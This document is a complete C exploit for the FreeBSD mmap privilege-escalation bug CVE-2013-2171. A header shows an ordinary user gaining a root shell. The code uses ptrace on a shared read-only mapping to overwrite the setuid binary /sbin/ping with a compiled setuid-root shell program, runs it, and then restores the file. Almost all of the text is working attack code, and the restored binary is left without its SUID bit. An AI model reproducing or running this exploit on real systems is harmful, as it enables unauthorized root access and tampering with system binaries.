FreeBSD mmap Privilege Escalation Exploit

/**
 * FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox)
 *
 * tested on FreeBSD 9.1
 * ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc
 *
 * @_hugsy_
 *
 * Syntax : 
 $ id
 uid=1001(user) gid=1001(user) groups=1001(user)
 $ gcc -Wall ./mmap.c && ./a.out
 [+] Saved old '/sbin/ping'
 [+] Using mmap-ed area at 0x281a4000
 [+] Attached to 3404
 [+] Copied 4917 bytes of payload to '/sbin/ping'
 [+] Triggering payload
 # id
 uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel)
 *
 * Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
 * 
 */
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>  
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>

#define LEN    1000*getpagesize()
#define TARGET "/sbin/ping"  // will lose its SUID bit on restore, must be restored by hand

void kaboom(int pid, caddr_t addr)
{
  int nb, i, a, fd, n;
  char buf[60000] = {0,}; 
  
  a = i = 0;  
  fd = open(TARGET, O_RDONLY);
  nb = read(fd, buf, 60000);
  close(fd);
  printf("[+] Saved old '%s'\n", TARGET);
  printf("[+] Using mmap-ed area at %p\n", addr);
  
  if (ptrace(PT_ATTACH, pid, 0, 0) < 0) {
    perror("[-] ptrace(PT_ATTACH) failed");
    return;
  }
  printf("[+] Attached to %d\n", pid);
  wait(NULL);
  
  fd = open("./sc.c", O_WRONLY|O_CREAT,  S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
  write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84);
  close(fd);
  if (system("gcc -o ./sc ./sc.c") != 0) {
    perror("[-] gcc");
    return;
  }
  
  fd = open("./sc", O_RDONLY);  
  while (1) {
    int a;
    int n = read(fd, &a, sizeof(int));
    if (n <= 0) 
      break;
    
    if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) {
      perror("[-] ptrace(PT_WRITE_D) failed");
      return;
    }
    
    i+=n;
  }  
  close(fd);
  printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET);
  
  printf("[+] Triggering payload\n");
  system(TARGET);
  printf("[+] Restoring '%s'\n", TARGET);
  
  for (n=0, i=0; n<nb; n++) {
    if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) {
      perror("[-] ptrace(PT_WRITE_D) failed");
      return;
    }                                           
  }
  ptrace(PT_DETACH, pid, 0, 0);
  printf("[+] Done\n");
  
  return;
}

void dummy(int fd, caddr_t addr)
{
  sleep(1); 
  munmap(addr, LEN);
  close(fd);  
  return;
}

int main(int argc, char** argv, char** envp)
{
  int fd = open(TARGET, O_RDONLY);
  caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0);
    
  pid_t forked_pid = fork();
  switch(forked_pid) {
    case -1:
      return -1;
    case 0:
      dummy(fd, addr);
      break;
    default:
      munmap(addr, LEN);
        close(fd);
        
      kaboom(forked_pid, addr);
      wait(NULL);
      break;
  }

  return 0;
}